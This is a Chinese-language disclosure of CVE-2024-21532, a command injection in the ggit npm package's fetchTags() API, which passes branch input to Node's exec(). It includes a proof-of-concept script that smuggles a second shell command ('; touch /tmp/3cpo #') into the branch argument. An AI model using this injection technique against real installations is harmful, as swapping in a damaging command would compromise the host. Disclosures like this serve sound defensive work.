CVE-2024-21532 ggit 中的命令注入漏洞

ggit 这样描述自己：

Local promise-returning git command wrappers

资源：

• 项目的 GitHub 源代码：https://github.com/bahmutov/ggit
• 项目的 npm 包：https://www.npmjs.com/package/ggit

关于此漏洞的文章：https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

漏洞利用背景

我要报告 ggit npm 包中的一个命令注入漏洞。

该漏洞体现在库的 fetchTags(branch) API 中，该 API 允许用户输入指定要获取的分支，然后将此字符串与一条 git 命令拼接，并传递给不安全的 Node.js 子进程 API exec()。

漏洞利用

1. 安装 [email protected] 或更早版本
2. 编写以下 POC：

const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});

3. 观察磁盘上在 /tmp/3cpo 处创建的新文件

贡献

请参阅 CONTRIBUTING 了解为本项目做出贡献的指南。

作者

Liran Tal